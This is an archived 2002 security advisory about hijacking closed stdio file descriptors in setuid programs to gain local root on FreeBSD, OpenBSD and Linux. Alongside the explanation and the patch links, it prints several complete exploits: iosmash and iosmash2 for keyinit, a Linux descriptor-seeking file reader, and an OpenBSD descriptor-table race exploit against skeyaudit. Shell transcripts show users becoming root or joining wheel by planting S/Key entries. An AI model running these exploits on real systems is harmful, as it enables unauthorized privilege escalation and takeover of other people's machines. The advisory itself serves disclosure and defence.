23th Apr 2002 [SBWID-5301]
COMMAND
Posix standard input/ouput/error (stdio,stderr) hijacking gives local
root
SYSTEMS AFFECTED
At least Solaris 2.5.1-2.5.8
All releases of FreeBSD up to and including 4.5 prior to this date (23
April 2002)
OpenBSD 3.0
PROBLEM
Thanks to Joost Pol [http://www.pine.nl], James Youngman and Theo de
Raadt findings, in FreeBSD security [FreeBSD-SA-02:23.stdio] advisory :
By convention, POSIX systems associate file descriptors 0, 1, and 2
with standard input, standard output, and standard error, respectively.
Almost all applications give these stdio file descriptors special
significance, such as writing error messages to standard error (file
descriptor 2).
In new processes, all file descriptors are duplicated from the parent
process. Unless these descriptors are marked close-on-exec, they retain
their state during an exec.
All POSIX systems assign file descriptors in sequential order, starting
with the lowest unused file descriptor. For example, if a newly exec'd
process has file descriptors 0 and 1 open, but file descriptor 2
closed, and then opens a file, the new file descriptor is guaranteed to
be 2 (standard error).
Some programs are set-user-id or set-group-id, and therefore run with
increased privileges. If such a program is started with some of the
stdio file descriptors closed, the program may open a file and
inadvertently associate it with standard input, standard output, or
standard error. The program may then read data from or write data to
the file inappropriately. If the file is one that the user would
normally not have privileges to open, this may result in an opportunity
for privilege escalation.
Local users may gain superuser privileges. It is known that the
`keyinit' set-user-id program is exploitable using this method. There
may be other programs that are exploitable.
Joost Pol [http://www.pine.nl] adds :
Consider the following (imaginary) suid application:
-- begin of imaginary code snippet
FILE * f = fopen("/etc/root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeededn", argv[0]);
fclose(f);
}
-- end of imaginary code snippet
Now, consider the following (imaginary) exploit:
-- begin of imaginary exploit snippet
while(dup(1) != -1);
close(2);
execl("/path/to/suid_application",
"this text will endup in the root_owned_file", 0);
-- end of imaginary exploit snippet
Exploitation has been confirmed using the S/KEY binaries.
Bert hubert [http://ds9a.nl] adds :
Here is a simple test, executing a setuid process with filedescriptor 2
closed, and then opening a file and seeing what fd it gets.
For further tests, 'outer' might try to exhaust *all* available
filedescriptors except 0, 1 or 2.
begin 644 setuid-fd-2.tar.gz
M'XL(`"5PQ#P``^V6;6O;,!#'[;Z%+>T`Z<DL>S8,63K8+1]V15"80P&0['E
MV-21@B4W"V/??2?GH>Y(ES=I2IE^!"*=I-/YI/_9BNLJ3WIITO/=U@M!:>!'
M88C_U(M"VOS?T*)1,/1HA%,'+>IYOA^T('RI@)I42K,2H,6RZI_S]HV_453C
M_&_8/4_S@A]Z#^I1.@R"Y_?W(WZ_(<ACN!?SC$Z>'#F07__GYLZ(8@:PT
M+R$7@I>$Q`5G8D1.RAGTTJ=#KQVLY>`T]3^^_GQU<WWX/?;I/QKZC?KO&_U[
M=U?PS&E8`9UOTN,)&`SOBJ"ZHJ.7:9AKY;JQ]R!7(A>`*3)912ZGK!ZOK4
M_1$A?7=5+DQ*M=JL[,(BR^,,=)ES!5J"G.,N+M>Q.V=*+7`Y9XF[*'.-84PJ
M#8GDB@C<HK:9);GN$W)6AT:($V=,3&N[V;A#R"G$&0:WBFN];6V<R01H@!?
M6RMQDE+.8<+B>^-`2-%;.SF#=?SDLI`J%U-($_#))99(T^$_>0RI++>>;O$Q
M,!V['V2$BR&A-QEF+=<)'G,M'EZD]&EK(!A>K_<WL%#5:`O-BEXG^"*GK=K
MHPE'!C,<DPLGHVL2LC8@S$)J4S^4V46^]MU-SDKR+>U'_]6/WXX'=LG_[#
M0;!Y_T>A%QC]AYYG]7,3G,1%Q5>KX]JJ5R]G'/5SSZ1IV9,D7YJ36.A"V,B
MN=!X/W/AF`8KIW$798<9/3_'SD.'_"(`9@COI]&]TV[HI=V]_3&^^CKN?#"3
M4@?G7'@=;)^4>"U+`=0,X&]>HHO4:>^7W/ODNVAWL;7Q.>6:XPUW.L;OHZ=O
M:VF8*F/TWX5ME3.FE2S05>V&%XIOXO-W^WF4V+O5JM]OXW.IJ?^Z^+V"_@?A
M5O]A%*ST/XBL_H_!HZ0K@:^7I-;T48K"1D'-E^U&<#':N./7[>V9][#6Y&B
MO7#::RO6@$:3UH)[5Q;+!:+Q6*Q6"P6B5BL5@L%HO%<BS^`.,,CT`*```
`
end
765 bytes
KF [http://www.phased.home.ro/iosmash.c] keyinit exploit :
/*
phased/b10z
[email protected]
23/04/2002
stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)
> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#
this program makes the following skeys valid
95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO
http://www.snosoft.com
cheers Joost Pol
*/
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03n");
}
Phased adds (25 April 2002) :
Some commented i used su to gain root, however skeys is used via all
auth methods, i.e. telnet so you could change the user to someone in
wheel, havent used skeys via ssh but i presume it works. root isn't
allowed to telnet by default but usually can ssh, but if the box has
people in the wheel group you can change the root to any user in the
exploit to log in via skeys as that user.
Welcome to FreeBSD!
> id
uid=1000(d0tslash) gid=1000(d0tslash) groups=1000(d0tslash)
>
> grep wheel /etc/group
wheel:*:0:root,akt0r-root,misterx
>
> perl -pi -e 's/root /misterx /g' iosmash.c
> gcc -o iosmash.c iosmash
>./iosmash
Adding d0tslash:
<--- HIT CTRL-C --->
> grep 98 iosmash.c
s/key 98 snosoft2
98: MASS OAT ROLL TOOL AGO CAM
"nmisterx 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666
01:02:0
3n");
> su misterx
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
%pwd
/usr/home/d0tslash
%id
uid=1001(misterx) gid=1001(misterx) groups=1001(misterx), 0(wheel),
1006(cvsusers)
%cd ~
%grep "root " iosmash.c
decided to make a trivial exploit to easily get root :)
"nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03n");
%gcc -o iosmash iosmash.c
%./iosmash
Updating misterx:
Old key: snosoft2
<--- HIT CTRL-C --->
%su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#
Update (06 May 2002)
======
Linux is also vulnerable, at least to the extent of bypassing files ACL
:
Paul Starzetz adds :
I don't think there was enough research on open file descriptor
problems. For example, I found this small bug while playing yround with
crontab on Linux:
gcc cronread.c -o cronread
export VISUAL=/bin/vi
crontab -e
<:sh> escape to shell
./cronread
0000 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/0
dump (y/n) n
0001 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/1
dump (y/n) n
0002 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/2
dump (y/n) n
0003 iz OPEN st_uid 0 st_gid 0 PATH
/var/spool/cron/deny dump (y/n) y
--- DUMPING /var/spool/cron/deny ---
guest
gast
---
0005 iz OPEN
0006 iz OPEN
ls -l /var/spool/cron/deny
-rw------- 1 root root 11 Oct 25 2001 /var/spool/cron/deny
So I'm able to read a privileged system file using this technique :->
Not necessary to mention the consequences of inheriting such a fd open
for writing. More effort must be put to investigate this problem in
current Linux/Unix suid/setgid binaries.
have fun with the attached source.
/ih
Content-Type: text/plain;
name="cronread.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="cronread.c"
/****************************************************************
* *
* insecure FD seeker *
* by IhaQueR '2002 *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
#define TMPLEN 1024
void dumpfd(int fd, char *name)
{
int r;
char c=13;
r = lseek(fd, 0, SEEK_SET);
if(r == (off_t)-1) {
perror("lseek");
return;
}
printf("n--- DUMPING %s ---nn", name);
do {
r = read(fd, &c, sizeof(c));
if(r>0) {
printf("%c", c);
}
} while(r>0);
printf("nn---");
fflush(stdout);
}
int main()
{
int i, r, f;
uid_t uid;
gid_t gid;
struct stat st;
char buf[TMPLEN];
uid = getuid();
gid = getgid();
for(i=0; i<NR_OPEN; i++) {
r = fstat(i, &st);
if(!r) {
printf("n%.4d iz OPEN", i);
if(st.st_uid != uid || st.st_gid != gid) {
printf("tst_uid %dtst_gid %d", st.st_uid, st.st_gid);
snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
buf[sizeof(buf)-1] = 0;
readlink(buf, buf, sizeof(buf)-1);
buf[sizeof(buf)-1] = 0;
printf("tPATH %s ", buf);
printf("tdump (y/n) ");
r = getchar();
if(r == 'y')
dumpfd(i, buf);
getchar();
}
}
}
printf("nn");
fflush(stdout);
return 0;
}
Update (10 May 2002)
======
FozZy from Hackademy and Hackerz Voice newspaper
[http://www.hackerzvoice.org] found manage to exploit this on OpenBSD
3.0 :
On current OpenBSD systems, any local user (being or not in the wheel
group) can fill the kernel file descriptors table, leading to a denial
of service. Because of a flaw in the way the kernel checks closed file
descriptors 0-2 when running a setuid program, it is possible to
combine these bugs and earn root access by winning a race condition.
As described before closing file descriptors 0, 1 and/or 2 before
exec'ing a setuid program can make this program open files under these
fds, which have special meanings for libc (stdin/out/err). Reading or
writing to root-owned files can be made possible, since
stdXX==opened_file.
Since 1998, there is a check in the OpenBSD kernel, intended to prevent
this: in the execve function, if fd 0, 1 or 2 is closed, then it is
opened as a new file descriptor assigned to /dev/null. Then, the setuid
program can be safely executed. But, unlike the FreeBSD and NetBSD
patch (and unlike what does linux in glibc), if there is a failure
here, we break out of the current loop and the execve goes on (it
should fail: this was pointed out by art in the comments of the code,
but not fixed).
-------------
In sys/kern/kern_exec.c, in the loop where the kernel tries to open
/dev/null on closed fd 0->2:
(...)
if ((error = falloc(p, &fp, &indx)) != 0)
break;
(...)
-------------
This can be exploited by a local user to gain root ! An attacker can
win a race condition with respect to the system file descriptors table:
1) Fill the kernel file descriptors table (see the "local DoS"
explanation).
2) Execute a setuid prog with (for instance) fd number 2 closed. In the
execve kernel function, fd number 2 will not be opened to /dev/null
because the falloc will fail. So, the setuid program will be run with
fd 2 closed.
3) Quickly close some fd in order to allow the program to run correctly
(ld.so needs free file descriptors, and so does the setuid program).
Step 3 timing is crucial: if too early, /dev/null will be assigned to
fd 2. If too late, the suid prog execution will fail. But I found that,
by tuning a simple "for" loop, the good timing is quite easy to meet...
Exploit
=======
I exploited successfully this vulnerability on OpenBSD 3.0, and became
root from luser using the setuid-root program "/usr/bin/skeyaudit".
The trick is to put the line we want to insert in /etc/skeyskey into
argv[0], with new line tags, when running skeyaudit. Any entry for the
local user must be removed first, so skeyaudit will complain on stderr,
printing its "filename" (argv[0]) and some error text. If /etc/skeyskey
is opened on fd number 2, we won.
/* fd_openbsd.c
(c) 2002 FozZy <[email protected]>
Local root exploit for OpenBSD up to 3.1. Do not distribute.
Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com)
For educational and security audit purposes only. Try this on your *own* system.
No warranty of any kind, this program may damage your system and your brain.
Script-kiddies, you will have to modify one or two things to make it work.
Usage:
gcc -o fd fd_openbsd.c
./fd
su -a skey
*/
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>
#define SUID_NAME "/usr/bin/skeyaudit"
#define SKEY_DATA "nr00t md5 0099 qwerty 545a54dde8d3ebd3 Apr 30,2002 22:47:00n";
extern int errno;
int main(int argc, char **argv) {
char *argvsuid[3];
int i, n;
int fildes[2];
struct rlimit *rlp;
rlp = (struct rlimit *) malloc((size_t) sizeof(rlp));
if (getrlimit(RLIMIT_NOFILE, rlp))
perror("getrlimit");
rlp->rlim_cur = rlp->rlim_max; /* we want to allocate a maximum number of fd in each process */
if (setrlimit(RLIMIT_NOFILE, rlp))
perror("setrlimit");
n=0;
open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/
while (n==0) {
for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */
close(i);
i=0;
while(pipe(fildes)==0) /* pipes are the best way to allocate unique file descriptors quickly */
i++;
printf("Error number %d : %sn", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process");
if (errno==ENFILE) { /* System file table full */
n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */
fprintf(stderr, "Let's exec the suid binary...n");
fflush(stderr);
if ((n=fork())==-1) {
perror("last fork failed");
exit(1);
}
if (n==0) {
for (i=3; i<=rlp->rlim_cur; i++)
close(i); /* close all fd, we don't need to fill the fd table of the process */
argvsuid[0]=SKEY_DATA; /* we put the data to be printed on stderr as the name of the program */
argvsuid[1]="-i"; /* to make skeyaudit fail with an error */
argvsuid[2]=NULL;
close(2); /* let the process exec'ed have stderr as the *first* fd free */
execve(SUID_NAME, argvsuid, NULL);
perror("execve");
exit(1);
}
else {
for (i=0; i<2000000; i++) /* Timing is crucial : tune this to your own system */
;
for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */
close(i);
sleep(5);
for (i=3; i<=rlp->rlim_cur; i++)
close(i);
exit(0);
}
}
else { /* process table full, let's fork to allocate more fds */
if ((n=fork()) == -1) {
perror("fork failed");
exit(1);
}
}
}
printf("Number of pipes opened by parent: %dn",i);
sleep(5);
for (i=3; i<=rlp->rlim_cur; i++)
close(i);
fprintf(stderr,"Exiting...n");
exit(0);
}
Update (14 August 2002)
======
noconflic [[email protected]] kindly sent us an update to
iosmash :
/*
* Systems affected: FreeBSD <= 4.6
*
* Credit:
* ----------------------------------------------
* Advisory:
* http://www.guninski.com/freebsd2.html
*
* -----------------------------------------------
*
* Skey stuffage:
* -----------------------------------------------
* phased/b10z
* [email protected]
*
* this program makes the following skeys valid
*
* 95: CARE LIVE CARD LOFT CHIC HILL
* 96: TESS OIL WELD DUD MUTE KIT
* 97: DADE BED DRY JAW GRAB NOV
* 98: MASS OAT ROLL TOOL AGO CAM
* 99: DARK LEW JOLT JIVE MOS WHO
*
* -------------------------------------------------
*
* This will allow you to su to any user.
*
* [nocon] > id
* uid=1002(nocon) gid=1002(nocon) groups=1002(nocon)
* [nocon] > grep wheel /etc/group
* wheel:*:0:root,stpstone
* [nocon] > /tmp/iosmash2 stpstone
* Adding nocon:
* <--- HIT CTRL-C --->
* [nocon] > su stpstone
* s/key 98 iosmash2
* Password: MASS OAT ROLL TOOL AGO CAM
* [/home/nocon]: id
* uid=1001(stpstone) gid=1001(stpstone) groups=1001(stpstone), 0(wheel)
* [/home/nocon]: /tmp/iosmash2 root
* Adding stpstone:
* <--- HIT CTRL-C --->
* [/home/nocon]: su
* s/key 98 iosmash2
* Password: MASS OAT ROLL TOOL AGO CAM
* [/home/nocon]# id
* uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
* [/home/nocon]#
*
*
* - noconflic
* 31 July 2002
*
*/
#include <stdio.h>
#include <fcntl.h>
int main(int argc,char *argv[])
{
FILE * f;
char skey[] = {" 0099 iosmash2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"};
char *user;
char buff[100];
if (argc != 2) {
printf("------------------------------------------------\n");
printf("FreeBSD <= 4.6 kernal file descriptor exploit\n-noconflic\n");
printf("------------------------------------------------\n");
printf("Usage: %s <username>\n",argv[0]);
exit(1);
}
user = argv[1];
strcpy(buff,"\n");
strcat(buff,user);
strcat(buff,skey);
buff[100] = '\0';
while( ((int )f=dup(1)) != -1);
close(2);
close(3);
(int )f=open("/proc/curproc/mem",O_WRONLY);
if ((int )f==-1) fprintf(stdout,"Error in open /proc\n");
execl("/usr/bin/keyinit",buff,0);
return(0);
}
SOLUTION
FreeBSD :
=========
Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc
Update (31 July 2002)
=====================
The original correction for this problem (corresponding to the first
revision of this advisory) contained an error. Systems using procfs or
linprocfs could still be exploited. The dates for the original,
incomplete correction were:
Corrected: 2002-04-21 13:06:45 UTC (RELENG_4)
2002-04-21 13:08:57 UTC (RELENG_4_5)
2002-04-21 13:10:51 UTC (RELENG_4_4)
OpenBSD :
=========
The following patches are available:
OpenBSD-3.1:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/003_fdalloc2.patch
OpenBSD-3.0:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/021_fdalloc2.patch
OpenBSD-2.9:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/026_fdalloc2.patch
OpenBSD-current as well as the OpenBSD 2.9, 3.0 and 3.1 -stable
branches have already been patched.
Increasing kern.maxfiles and lowering the local users hard limits (both
number of processes and opened files per process) could be a workaround
to the DoS problem.